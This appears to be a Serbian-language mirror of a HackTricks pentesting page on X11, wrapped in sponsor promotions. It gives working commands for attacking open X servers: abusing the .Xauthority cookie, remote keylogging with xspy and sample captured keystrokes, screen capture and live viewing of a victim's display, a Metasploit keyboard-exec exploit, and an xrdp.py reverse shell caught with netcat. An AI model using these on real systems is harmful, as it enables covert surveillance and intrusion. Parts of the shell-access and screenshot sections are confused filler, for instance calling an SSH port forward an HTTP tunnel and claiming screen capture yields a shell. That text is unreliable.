mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
284 lines
14 KiB
Markdown
284 lines
14 KiB
Markdown
# 6000 - Pentesting X11
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Drugi načini podrške HackTricks-u:
|
||
|
||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
|
||
|
||
**Hakerski uvidi**\
|
||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||
|
||
**Hakerske vesti u realnom vremenu**\
|
||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||
|
||
**Najnovije objave**\
|
||
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
|
||
|
||
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||
|
||
## Osnovne informacije
|
||
|
||
**X Window System** (X) je svestrani sistem za prozore koji je široko rasprostranjen na UNIX baziranim operativnim sistemima. Pruža okvir za kreiranje grafičkih **korisničkih interfejsa (GUI)**, pri čemu pojedinačni programi upravljaju dizajnom korisničkog interfejsa. Ova fleksibilnost omogućava raznovrsna i prilagodljiva iskustva unutar X okruženja.
|
||
|
||
**Podrazumevani port:** 6000
|
||
```
|
||
PORT STATE SERVICE
|
||
6000/tcp open X11
|
||
```
|
||
## Enumeracija
|
||
|
||
Proverite da li postoji **anonimna veza:**
|
||
```bash
|
||
nmap -sV --script x11-access -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/x11/open_x11
|
||
```
|
||
#### Lokalno nabrojavanje
|
||
|
||
Fajl **`.Xauthority`** u korisničkom folderu se **koristi** od strane **X11 za autorizaciju**. Sa [**ovde**](https://stackoverflow.com/a/37367518):
|
||
```bash
|
||
$ xxd ~/.Xauthority
|
||
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
|
||
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
|
||
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
|
||
00000030: 041d ef ...
|
||
```
|
||
> MIT-magic-cookie-1: Generisanje 128 bita ključa ("kolačića"), smeštanje u \~/.Xauthority (ili tamo gde XAUTHORITY envvar pokazuje). Klijent ga šalje serveru kao običan tekst! Server proverava da li ima kopiju ovog "kolačića" i ako ima, veza se dozvoljava. Ključ se generiše pomoću DMX.
|
||
|
||
{% hint style="warning" %}
|
||
Da biste **koristili kolačić**, trebate postaviti env var: **`export XAUTHORITY=/putanja/do/.Xauthority`**
|
||
{% endhint %}
|
||
|
||
#### Lokalna sesija enumeracije
|
||
```bash
|
||
$ w
|
||
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
|
||
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
|
||
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
|
||
```
|
||
## Provera konekcije
|
||
|
||
Da biste proverili da li imate pristup X11 serveru, možete koristiti komandu `xhost`. Ova komanda vam omogućava da kontrolišete pristup X serveru za različite korisnike ili mašine.
|
||
|
||
```plaintext
|
||
$ xhost
|
||
access control enabled, only authorized clients can connect
|
||
SI:localuser:username
|
||
```
|
||
|
||
Ako vidite poruku "access control enabled, only authorized clients can connect", to znači da je pristup X serveru omogućen samo autorizovanim klijentima.
|
||
|
||
## X11 Forwarding
|
||
|
||
X11 Forwarding je tehnika koja vam omogućava da pokrećete grafičke aplikacije sa udaljenog servera i prikazujete ih na lokalnom računaru. Da biste koristili X11 Forwarding, morate imati instaliran X server na lokalnom računaru.
|
||
|
||
Da biste omogućili X11 Forwarding prilikom SSH konekcije, koristite opciju `-X` ili `-Y` prilikom pozivanja SSH komande:
|
||
|
||
```plaintext
|
||
$ ssh -X username@remote_host
|
||
```
|
||
|
||
## X11 Forwarding preko SSH tunela
|
||
|
||
Ako želite da koristite X11 Forwarding preko SSH tunela, možete koristiti sledeću komandu:
|
||
|
||
```plaintext
|
||
$ ssh -L 6000:localhost:6000 username@remote_host
|
||
```
|
||
|
||
Ova komanda uspostavlja SSH tunel između lokalnog računara i udaljenog servera, omogućavajući vam da koristite X11 Forwarding preko port-a 6000.
|
||
|
||
## X11 Forwarding preko HTTP tunela
|
||
|
||
Ako želite da koristite X11 Forwarding preko HTTP tunela, možete koristiti sledeću komandu:
|
||
|
||
```plaintext
|
||
$ ssh -L 6000:localhost:6000 -N -f -l username remote_host -p 443
|
||
```
|
||
|
||
Ova komanda uspostavlja HTTP tunel između lokalnog računara i udaljenog servera, omogućavajući vam da koristite X11 Forwarding preko port-a 6000.
|
||
```bash
|
||
xdpyinfo -display <ip>:<display>
|
||
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
|
||
```
|
||
## Keylogovanje
|
||
|
||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) za presretanje tastature.
|
||
|
||
Primer izlaza:
|
||
```
|
||
xspy 10.9.xx.xx
|
||
|
||
opened 10.9.xx.xx:0 for snoopng
|
||
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
|
||
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
|
||
```
|
||
## Snimanje snimaka ekrana
|
||
|
||
Snimanje snimaka ekrana je tehnika koja se koristi u procesu testiranja penetracije kako bi se prikupile informacije o aktivnostima na ciljnom sistemu. Ova tehnika omogućava hakerima da snime slike ekrana i pregledaju ih kasnije radi analize.
|
||
|
||
Da biste snimili snimak ekrana, možete koristiti različite alate kao što su `scrot`, `import` ili `gnome-screenshot`. Ovi alati omogućavaju snimanje trenutnog sadržaja ekrana i čuvanje snimka u odabranom formatu.
|
||
|
||
Na primer, možete koristiti sledeću komandu za snimanje snimka ekrana koristeći `scrot`:
|
||
|
||
```bash
|
||
scrot screenshot.png
|
||
```
|
||
|
||
Ova komanda će snimiti trenutni sadržaj ekrana i sačuvati ga kao `screenshot.png` u trenutnom direktorijumu.
|
||
|
||
Nakon što snimite snimak ekrana, možete ga pregledati koristeći pregledač slika ili alate za uređivanje slika kao što su `feh`, `eog` ili `gimp`.
|
||
|
||
Važno je napomenuti da prilikom snimanja snimaka ekrana tokom testiranja penetracije treba biti oprezan kako se ne bi otkrile osetljive informacije ili lični podaci. Takođe, treba se pridržavati zakonskih propisa i etičkih smernica prilikom korišćenja ove tehnike.
|
||
```bash
|
||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||
convert screenshot.xwd screenshot.png
|
||
```
|
||
## Prikaz udaljenog radnog okruženja
|
||
|
||
Putanja: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
```
|
||
./xrdp.py <IP:0>
|
||
```
|
||
Putanja: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
|
||
Prvo moramo pronaći ID prozora koristeći xwininfo.
|
||
```
|
||
xwininfo -root -display 10.9.xx.xx:0
|
||
|
||
xwininfo: Window id: 0x45 (the root window) (has no name)
|
||
|
||
Absolute upper-left X: 0
|
||
Absolute upper-left Y: 0
|
||
Relative upper-left X: 0
|
||
Relative upper-left Y: 0
|
||
Width: 1024
|
||
Height: 768
|
||
Depth: 16
|
||
Visual: 0x21
|
||
Visual Class: TrueColor
|
||
Border width: 0
|
||
Class: InputOutput
|
||
Colormap: 0x20 (installed)
|
||
Bit Gravity State: ForgetGravity
|
||
Window Gravity State: NorthWestGravity
|
||
Backing Store State: NotUseful
|
||
Save Under State: no
|
||
Map State: IsViewable
|
||
Override Redirect State: no
|
||
Corners: +0+0 -0+0 -0-0 +0-0
|
||
-geometry 1024x768+0+0
|
||
```
|
||
**XWatchwin**
|
||
|
||
Za **live pregledanje** moramo koristiti
|
||
```bash
|
||
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
|
||
./xwatchwin 10.9.xx.xx:0 -w 0x45
|
||
```
|
||
## Dobijanje Shell-a
|
||
|
||
Da biste dobili pristup Shell-u na ciljnom sistemu, možete koristiti različite tehnike. Evo nekoliko metoda koje možete isprobati:
|
||
|
||
### 1. X11 Forwarding
|
||
|
||
X11 Forwarding je tehnika koja vam omogućava da pokrenete aplikacije sa ciljnog sistema na vašem lokalnom sistemu. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
|
||
|
||
Da biste koristili X11 Forwarding, prvo morate omogućiti opciju `X11Forwarding` u konfiguracionom fajlu SSH servera na ciljnom sistemu. Zatim, koristite SSH tuneliranje da biste uspostavili sigurnu vezu sa ciljnim sistemom i pokrenuli aplikaciju sa ciljnog sistema na vašem lokalnom sistemu.
|
||
|
||
### 2. X11 Reverse Shell
|
||
|
||
X11 Reverse Shell je tehnika koja vam omogućava da dobijete pristup Shell-u na ciljnom sistemu putem X11 protokola. Ova tehnika zahteva da ciljni sistem ima X11 server pokrenut i da je omogućen X11 Forwarding.
|
||
|
||
Da biste koristili X11 Reverse Shell, prvo morate pokrenuti X11 server na vašem lokalnom sistemu. Zatim, koristite X11 Forwarding da biste uspostavili vezu sa ciljnim sistemom i dobili pristup Shell-u.
|
||
|
||
### 3. X11 Injection
|
||
|
||
X11 Injection je tehnika koja vam omogućava da izvršite zlonamerni kod na ciljnom sistemu putem X11 protokola. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
|
||
|
||
Da biste koristili X11 Injection, prvo morate pronaći ranjivu aplikaciju koja koristi X11 protokol na ciljnom sistemu. Zatim, iskoristite ranjivost da biste ubacili zlonamerni kod i dobili pristup Shell-u.
|
||
|
||
### 4. X11 Port Forwarding
|
||
|
||
X11 Port Forwarding je tehnika koja vam omogućava da usmerite X11 protokol preko SSH tunela. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
|
||
|
||
Da biste koristili X11 Port Forwarding, prvo morate uspostaviti SSH tunel sa ciljnim sistemom. Zatim, koristite X11 Port Forwarding da biste usmerili X11 protokol preko SSH tunela i dobili pristup Shell-u.
|
||
|
||
### 5. X11 Screen Capture
|
||
|
||
X11 Screen Capture je tehnika koja vam omogućava da snimite sadržaj ekrana ciljnog sistema putem X11 protokola. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
|
||
|
||
Da biste koristili X11 Screen Capture, prvo morate pronaći aplikaciju koja koristi X11 protokol za prikazivanje sadržaja ekrana na ciljnom sistemu. Zatim, iskoristite ranjivost aplikacije da biste snimili sadržaj ekrana i dobili pristup Shell-u.
|
||
|
||
### 6. X11 Keylogger
|
||
|
||
X11 Keylogger je tehnika koja vam omogućava da snimate tastere koje korisnik pritisne na ciljnom sistemu putem X11 protokola. Ova tehnika se može iskoristiti za dobijanje pristupa Shell-u na ciljnom sistemu.
|
||
|
||
Da biste koristili X11 Keylogger, prvo morate pronaći aplikaciju koja koristi X11 protokol za prikazivanje tastature na ciljnom sistemu. Zatim, iskoristite ranjivost aplikacije da biste snimali tastere i dobili pristup Shell-u.
|
||
```
|
||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||
```
|
||
Drugi način:
|
||
|
||
**Reverse Shell:** Xrdp takođe omogućava preuzimanje obrnutog školjka pomoću Netcat-a. Unesite sledeću komandu:
|
||
```bash
|
||
./xrdp.py \<IP:0> –no-disp
|
||
```
|
||
U interfejsu možete videti opciju **R-shell**.
|
||
|
||
Zatim, pokrenite **Netcat osluškivač** na vašem lokalnom sistemu na portu 5555.
|
||
```bash
|
||
nc -lvp 5555
|
||
```
|
||
Zatim, unesite svoju IP adresu i port u opciju **R-Shell** i kliknite na **R-shell** da biste dobili shell.
|
||
|
||
|
||
## Reference
|
||
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
|
||
## Shodan
|
||
|
||
* `port:6000 x11`
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
|
||
|
||
**Hacking Insights**\
|
||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||
|
||
**Real-Time Hack News**\
|
||
Budite u toku sa brzim svetom hakovanja putem vesti i saznanja u realnom vremenu
|
||
|
||
**Latest Announcements**\
|
||
Budite informisani o najnovijim pokretanjima nagrada za pronalaženje bagova i važnim ažuriranjima platforme
|
||
|
||
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Drugi načini podrške HackTricks-u:
|
||
|
||
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Podelite svoje trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
||
</details>
|